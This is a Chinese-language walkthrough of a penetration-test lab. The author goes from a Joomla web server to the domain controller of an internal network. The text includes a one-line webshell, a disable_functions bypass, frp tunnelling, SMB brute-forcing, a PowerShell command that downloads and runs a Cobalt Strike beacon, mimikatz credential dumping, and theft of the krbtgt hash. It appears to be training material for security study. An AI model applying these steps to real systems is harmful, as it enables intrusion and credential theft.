网络拓扑
web阶段
1.扫描DMZ机器端口
2.进行ssh和3306爆破无果后访问web服务
3.已知目标是Joomla,扫描目录
4.有用的目录分别为1.php
5.configuration.php~中泄露了数据库密码
6.administrator为后台登录地址
7.直接连接mysql
8.找到管理员表,密码加密了
9.百度joomla密码的加密方式以及重置方式,用下面的方式添加新的管理员用户
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
10.重置密码后登录后台
11.搜索相关漏洞,用这个后台RCE
12.访问后并没有回显
13.查看exp是怎么写的,看着没什么问题,不知道为什么不显示
14.修改一下直接写一个一句话马
15.修改一下直接写一个一句话马
16.连接上蚁剑,进入命令行发现不能执行
17.这里看网上说是被disable_function限制了,在之前的phpinfo的信息中也可以看到disable_function
disable_function就是在web服务中禁止执行一些高危函数,像一般的webshell管理工具就是默认用exec、system这种php函数来执行系统命令的,然而在此处就被disable_function限制了
18.使用蚁剑的插件进行绕过
19.成功执行命令
内网
1.这里看了一下ip,发现只有一个内网ip并没有公网ip,之前那个公网ip应该是一个负载均衡服务器使用了nginx反向代理
2.翻出来的账号密码
3.通过此账号密码登录公网服务器,也就是那台负载的ssh
4.上传fscan大致扫描一下内网
5.搭建frp做内网穿透
服务端
客户端
6.因为之前fscan看到192.168.93.20开启了80端口,所以这里扫描一下
7.发现是一个sqlserver的什么登录框
8.尝试对sqlserver进行爆破但是无果
9.对SMB进行爆破,这里爆破成功
10.通过wmiexec进行连接
11.连接成功后查看一下大致的信息,判断是否可出网
12.连接成功后查看一下大致的信息,判断是否可出网
13.因为目标不可出网,所以这里打算使用cs的正向代理木马去控制目标主机
之前搭建了内网隧道,现在我本地的机器可以访问192.168.93这个网段,所以说要通过正向代理让192.168.93.20这个机器上线cs的话可以先让本地机器上线,或者也可以让192.168.93.100那台ubantu上线去正向连接192.168.93.20,因为cs生成linux的木马要用插件所以这里直接就让我本地的机器上线了,再通过隧道去正向连接192.168.93.20受害机器
14.创建正向监听
15.创建木马绑定这个正向监听器
16.将因为192.168.93.20这个机器不出网,所以把木马上传到192.168.93.100这台ubantu上,开启http服务
17.这边192.168.93.20使用wmiexe创建的会话用过powershell去下载192.168.93.100上的木马
powershell (new-object Net.WebClient).DownloadFile('http://192.168.93.100:8888/beacon.exe','C:\beacon.exe')
18.下载成功后执行,进行监听
19.这里使用我本地机器会话的beacon去直接连接正向代理木马
20.机器192.168.93.20成功上线
21.这里想直接使用mimikatz抓取密码,但是不知道为什么执行出错了
22.使用cs将本地的mimikatz上传到192.168.93.20这台机器上
23.运行mimikatz抓取本地密码并将结果保存
mimikazi.exe log privilege::debug sekurlsa::logonpasswords
24.对运行的结果进行下载
25.这里可以看到抓取到了WIN-8GA56TNV3MV这台机器的管理员用户密码
26.对比一下之前fscan扫描的结果,这台机器的ip是192.168.93.10,并且这台机器是域控
27.直接通过psexec明文密码去连接,成功获取到会话
28.继续在192.168.93.100启动web
29.这里我想让它和之前的机器一样直接正向连接上线cs,但是不知道为什么一直不成功
30.既然上线不了cs那就直接通过powershell下载mimikatz到本地吧
31.既然这台机器是域控,那肯定要抓krbtgt的hash
32.整个过程成功拿下了域控并抓了krbtgt的hash,此时还有一个192.168.93.30机器没有上线,接下来的话就是做黄金票据然后登录这台机器了,这里就不做演示了